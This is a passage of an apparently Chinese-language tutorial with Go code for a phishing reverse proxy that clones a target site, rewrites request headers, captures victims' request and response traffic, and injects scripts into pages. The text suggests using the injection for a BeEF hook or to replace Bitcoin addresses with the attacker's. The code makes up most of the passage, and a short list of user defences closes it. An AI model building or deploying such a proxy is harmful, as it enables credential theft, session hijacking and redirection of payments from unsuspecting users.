由于Go的优秀标准库,请求处理非常简洁。http包提供ReadRequest方法,用于解析从连接中读取数据的请求。

defer conn.Close() reader := bufio.NewReader(conn) request, err := http.ReadRequest(reader) if err != nil { log.Println("Error parsing request:", err.Error()) return }

将所有内容解析成Golang http.Request后,我们将它传递给目标。代理需要重写来自受害者的HTTP头,以防止目标站点连接中断,特别是主机头和URL。

request.URL.Scheme = p.targetURL.Scheme request.URL.Host = p.targetURL.Host request.Host = p.targetURL.Host request.RequestURI = "" resp, err := p.client.Do(request) if err != nil { log.Println("Proxy error:", err.Error()) return }

在代理上使用HTTP客户端,我们发起请求并确保请求成功。

一旦我们得到响应,我们使用传递给代理的ResponseTransformers(后面会详细介绍)转换它,使用标准库httputil.DumpResponse函数将响应转换为字节,并将请求和响应发送给goroutine worker之后处理。

for _, transformer := range p.responseTransformers { transformer.Transform(resp) } modifiedResponse, err := httputil.DumpResponse(resp, true) if err != nil { log.Println("Error converting requests to bytes:", err.Error()) return } _, err = conn.Write(modifiedResponse) if err != nil { log.Println("Error responding to victim:", err.Error()) return } transactions <- &HTTPTransaction{ Request: request, Response: resp, }

我们通过一个channel将HTTP事务传递给worker,以加快我们的操作进程避免受害者发生某些错误。

只需指向该代理,就能完美克隆目标网站。

// ResponseTransformer modifies a response in any way we see fit, such as inserting extra Java. type ResponseTransformer interface { Transform(response *http.Response) error }

ResponseTransformer允许你修改响应。我们可以用它来任何想做的事情,例如将自定义Java注入到页面,或者将比特币地址替换成我们自己的。这对于那些在默认代理中无法100%工作的网站也很有用。

JavaInjectionTransformer使用GoQuery将HTML响应解析到DOM树中,并使用我们传递给transformer的URL注入脚本标签。我们可以使用它来注入BeEF hook或绕过网站的安全防护。

// JavaInjectionTransformer holds Java filename for injecting into response. type JavaInjectionTransformer struct { javaURL string } // Transform Injects Java into an HTML response. func (j JavaInjectionTransformer) Transform(response *http.Response) error { if !strings.Contains(response.Header.Get("Content-Type"), "text/html") { return nil } // Prevent NewDocumentFromReader from closing the response body. responseText, err := ioutil.ReadAll(response.Body) responseBuffer := bytes.NewBuffer(responseText) response.Body = ioutil.NopCloser(responseBuffer) if err != nil { return err } document, err := goquery.NewDocumentFromReader(responseBuffer) if err != nil { return err } payload := fmt.Sprintf("", j.javaURL) selection := document. Find("head"). AppendHtml(payload). Parent() html, err := selection.Html() if err != nil { return err } response.Body = ioutil.NopCloser(bytes.NewBufferString(html)) return nil } 如何防御?

这类的钓鱼攻击并不是没有破绽,其实只要我们稍微细心观察,就能避免掉落坏人的陷阱。为此,我向大家提出以下几点建议:

  • 为你登录的网站添加书签,并仅使用该书签访问该网站
  • 即使看到绿色安全提示,也要在登录前仔细检查网站的URL是否正常
  • 仔细检查通过电子邮件发送给你的任何链接并谨慎点击

完整代码可在GitHub上查看。